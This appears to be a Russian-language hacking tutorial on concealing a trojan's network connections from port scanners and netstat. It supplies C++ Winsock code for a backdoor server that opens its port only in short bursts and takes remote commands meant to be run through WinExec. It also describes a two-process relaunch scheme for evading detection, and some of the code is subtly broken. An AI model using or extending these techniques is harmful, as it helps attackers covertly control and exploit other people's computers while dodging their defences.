Что главное для троянов и прочих программ "удаленного управления" компом? Конечно незаметность! И даже если получиться сокрыть саму программу, в частности дав ей "невидимость" в диспетчере задач, то это целиком не решит всей проблемы. Остается еще один способ обнаружения таких программ - через их функции работы с сетью. Иногда сканер выдает: "открыто: 12345 порт - удаленное администрирование или trojan". Вот так и ловятся трояны :)

Поэтому я тебе поведаю о способах сокрытия сетевых соединений, в чисто ознакомительных целях, конечно :) Для начала рассмотрим, как можно обнаружить присутствие твоей проги на чужом компе. Как ты знаешь, трояны состоят из серверной и клиентской частей, причем серверная находиться на чужом компе. Отсюда и открытый порт трояна, который и обнаруживается сканером портов. Конечно, в ТСP соединении без этого не обойтись, сервер всегда должен иметь открытый порт, коннектясь к которому, сканер определяет, открыт порт или нет. От этого конечно не избавиться, но риск обнаружения можно намного уменьшить, даже свести его почти к нулю :)

Как можно уменьшить вероятность обнаружения, в обычном случае почти стопроцентную? Элементарно - не держать порт все время открытым, а открывать его только на короткий период через определенный промежуток времени. Конечно, это потребует усложнения клиентской части, да и может добавить трудностей при работе с сервером, но всегда можно подобрать соотношение между паранойей обнаружения трояна и удобством работы с прогой.

Для начала инициализируем библиотеку для работы с сокетами:

WSADATA WsaData;
int err = WSAStartup (0x0101, &WsaData);
if (err == SOCKET_ERROR) {
printf ("WSAStartup() failed: %ld\n", GetLastError ());

return 1;
}

Затем создадим структура адреса для сокета:

SOCKADDR_IN tr1;
tr1.sin_family = AF_INET;
tr1.sin_port = htons(1234);//port
tr1.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");//IP

Затем создадим сокет и "привяжем" его к структуре:

s = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

bind( s, (LPSOCKADDR)&sin1, sizeof(sin1));

Все эти операции более подробно рассматривались в других статьях (например "TCP Logger своими руками"), поэтому не буду заострять внимания на их подробном описании.

Далее начинается собственно основная часть программы:

int evn=1;
//evn - условие выхода, прерывания основного цикла.
while (evn>0)
{

AfxBeginThread(*MyFunction1,NULL);
Sleep(1000);
//запускаем один поток. Ждем 1000 мсек.

AfxBeginThread(*MyFunction2,NULL);
Sleep(5000);
//Запускаем второй поток. ждем 5000 мсек.

}

Теперь опишем функции потоков и их переменные. Переменную сокета s нужно сделать глобальной, так же как и структура адресов:

SOCKADDR_IN tr1;
SOCKADDR_IN tr2;

Эта функция как раз и выполняет функцию сервера - открывает порт и обрабатывает подключения.

UINT MyFunction1( LPVOID pParam )
{

int sz=sizeof(tr2);
int os;
os=listen(s,1);
if (os!=-1)
{
s2=accept(s,(struct sockaddr*)&tr2,&sz);
//////здесь могут быть дополнительные функции.

}

return 0;
}

Вторая функция "вырубает" сокет, поэтому вызов listen выдает ошибку, и порт закрывается.

UINT MyFunction2( LPVOID pParam )
{
shutdown(s,0);//вырубание сокета.
return 0;
}

Таким образом получаем работу проги по следующему алгоритму:

- Открываем порт.
- Ждем 1000 миллисекунд//это время порт открыт
- Закрываем порт.
- Ждем 5000 миллисекунд//это время - закрыт.

Так что порт будет открыт и может быть засечен сканером только 1/6 всего времени работы проги, т.е. вероятность обнаружения чуть более 16%. Параметры в 1 и 5 секунд можно изменять в широких пределах, только нужно не забывать о скорости передачи данных в сети. Где-нибудь в локалке и 100 миллисекунд более чем достаточно, а на тормозном dial-up'e и секунды мало будет. Теперь нам нужно определиться, что нам нужно от трояна. Если он нужен только для передачи команд на чужой комп, то их вполне возможно передать в тот промежуток времени, когда порт открыт.  Для этого в месте дальнейшего кода пишем:

recv(s2,buf,sizeof(buf),0);
if (buf=="Noconnect\0") //Noconnect - ключевое слово
//указывает, что коннект через 1000 мсек будет прерван
{
brk=1;
}

Теперь все оставшееся время принимаем пакеты:

int stopp=1;
//stopp - переменная, указывающая, что передача пакетов прекращена
while (stopp>0)
{
recv(s2,buf,sizeof(buf),0);
if (buf=="Endpackets\0")
//указывает, что передача пакетов окончена.
{
stopp=0;
}
//далее может быть интерпретатор команд, который выполняет переданные по сети //команды
//наиболее простой путь - воспользоваться командой WinExec

}

Также следует отметить, что вместо команды "Endpackets" можно передать команду "Noconnect", да и вообще без команды Endpackets можно обойтись, потому как связь оборвется через определенное время, но лучше все делать культурно :) Только одно "но" - если команда "Noconnect" опоздает и придет после секундного интервала открытия порта, то он будет открыт весь цикл ожидания. Так что выбирай, что тебе нужнее - либо стопроцентно передать команды даже на плохой связи, либо незаметность функционирования проги.

Можно добавить еще одну полезную функцию - проверку скорости связи и установку периодов различного состояния порта. Время ты сам можешь подобрать в зависимости от состояния связи. Поэтому добавим следующие функции в "интерпретатор команд":

if (buf=="Test\0")
//команда проверки связи
{
char buf1[7]="TestOk\0";
send(s2,buf1,7,0);

}

Алгоритм - если получена команда "Тest" - тут же послать ответ. Клиентская часть будет подсчитает время между посылкой пакета с командой "Тest" и приемом пакета с командой "ТestOk". В среднем время прохождения будет равно половине полученного значения. После этого можно думать о изменении периодов состояния портов

if (buf=="TimeWork\0")
//команда изменения длительности открытия порта
{
char buf1[10];
recv(s2,buf1,10,0);
//в этом пакете передается длительность периода открытия порта в миллисекундах
//здесь должна быть функция перевода значения типа "массив char" в "integer"
// а затем установка значения переменных длительности периодов.
}

if (buf=="TimeWait\0")
//команда изменения времени ожидания открытия порта
{
char buf1[10];
recv(s2,buf1,10,0);
//в этом пакете передается длительность периода ожидания в миллисекундах

}

Дело за малым - перевести полученные значения в тип integer и присвоить это значение нужной переменной. 

После этого серверную часть можно считать почти что супер-пупер-крутой :) Осталось сделать такой же клиентскую часть :) Алгоритм похож до безобразия, думаю, ты сам справишься с претворением его в код :) Мы также коннектимся каждые N милисекунд, где N - время, которое порт открыт. По умолчанию - 1 секунда. Если подключение за это время не увенчалось успехом - значит порт сервера в этот момент времени закрыт, поэтому прерываем коннект и пытаеся подключиться еще раз. Так после нескольких неудачных попыток, повторенных в цикле, мы в конце концов подключимся к серверной части.

Этот способ, несмотря на очевидные плюсы, имеет и некоторые минусы. Например, юзер может посмотреть открытые порты на локальной машине с помощью проги netstat с ключом -an. Тогда прога выдаст что-то вроде:

TCP 0.0.0.0:500 0.0.0.0 LISTENING
TCP 0.0.0.0:10000 0.0.0.0 LISTENING
TCP x.x.x.x:12345 0.0.0.0 LISTENING

Так что все открытые порты видны как на ладони. Так что даже закрытый порт будет виден, но за одним исключением - если программа, которая открыла этот порт, будет завершена. Вот этим мы и воспользуемся. Правда, придется усложнить серверную часть трояна, сделав ее в виде 2 программ - вспомогательная будет периодически запускать основную, которая и будет выполнять все необходимые функции.

Алгоритм простой - первая прога в цикле запускает вторую, ждет M миллисекунд, опять запускает вторую и т.д. Вторая прога - в течении N миллисекунд выполняет нужные действия, завершается. Если троян должен работать непрерывно, можно сделать так, чтобы вторая прога не завершалась через N, а дабы не было N'ого количества подключенных серваков, то проверяла бы вначале, есть ли соединение. И если есть, то завершала бы свою работу.

Для запуска второй проги можно воспользоваться функцией WinExec из библитеки Winbase.h Она позволяет запускать программы в различных режимах, в том числе и в фоновом. Этим мы и воспользуемся, запустив функцию с параметрами WinExec("C:\...\tr.exe",0); Первый параметр - путь к файлу. Правда, в таком случае прога будет видна в диспетчере задач (хотя это можно исправить, но данный вопрос выходит за рамки статьи), но вероятность ее обнаружения опять-таки будет мала, все зависит от соотношения длительности периодов ожидания/работы. В этот период троян можно засечь netstat'ом, но опять-таки только во время работы проги, а не все время, как в первом случае.

Эти способы далеко не единственные, которыми можно решить эту интересную проблему, но другие я рассмотрю в следующей статье.